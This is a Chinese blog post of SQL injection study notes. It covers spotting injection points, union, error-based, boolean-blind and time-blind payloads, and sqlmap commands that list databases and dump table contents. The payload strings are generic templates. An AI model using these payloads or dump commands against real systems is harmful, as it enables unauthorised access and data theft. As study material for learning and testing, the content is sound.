SQL注入总结

1、工具

手工注入、sqlmap、脚本、burpsuit爆破

2、注入思路

注入点判断->注入类型判断->联合注入->报错注入->布尔盲注->时间盲注

盲注:数据库长度->数据库ASCII->表的个数->(第一个)表名的ASCII(limit)->列名的长度(limit)->列名的ASCII->此列下的字段个数->(第一个)字段的长度 ->(第一个)字段的ASCII

3、SQL注入点判断

$id=$_GET['id']; $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

(1)基本:

单引号判断1'

不管是字符型还是数字型,输入单引号后都会因为单引号不匹配而报错,如果存在注入点的话就会返回一个不同的页面或者报错

(1)数字型

由上面的语句我们可以看到对于数字型是不存在引号的

1 and 1=1 :正常返回 1 and 1=2 :错误返回或其他页面 存在数字型注入

(2)字符型

由上面的语句可以看到字符型是有引号包裹的

1 and 1=1 :正常返回 1 and 1=2 :正常返回 1' and '1'='1 :正常返回 1' and '1'='2 :错误返回或其他页面 存在字符型

4、联合查询

(1)字段个数

id = 1 order by 1直到错误回显

union是将两个查询结果合并,程序通常会展示结果的第一行,因此若左边报错右边正确的话,返回的第一行就输出的是我们需要的查询语句。

(2)显位判断

id = -1 union select 1,2,3

(3)跨库查询

union select

5、报错盲注

(1)floor(rand(0)*2)andgroup by

union select 1,count(*),concat((playload),floor(rand(0)*2)) x from information_schema.columns group by x union select 1 from (select count(*),concat((playload limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a

对于表和列需要用limit n,1限制查询结果列数,进行第一个,第二个的查询

(2)updatexml()

?id=1 and updatexml(1,concat(0x7e,(playload),0x7e),1)

(3)extratvalue()

?id=1 and extractvalue(1,concat(0x7e,(playload),0x7e),1)

6、布尔盲注

and length()>n //长度判断 and ascii(substr((playload),n,1))>n //ascii判断

7、时间盲注

and if((playload),sleep(n),0)

8、sqlmap

一般将数据包复制下来,将注入点用*标识

GET /api/v4.php?id=1*&page=1&limit=10 HTTP/1.1

python sqlmap.py -r 文件路径 --dbs //数据库名 python sqlmap.py -r 文件路径 -D 数据库名 --tables //表名 python sqlmap.py -r 文件路径 -D 数据库名 -T 表名 --columns//列名 python sqlmap.py -r 文件路径 -D 数据库名 -T 表名 --dump "列名" //获取字段内容

__EOF__

本文作者E=MC^2
本文链接https://www.cnblogs.com/zeroEMC/p/16394478.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   EMCzero  阅读(40)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 25岁的心里话
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示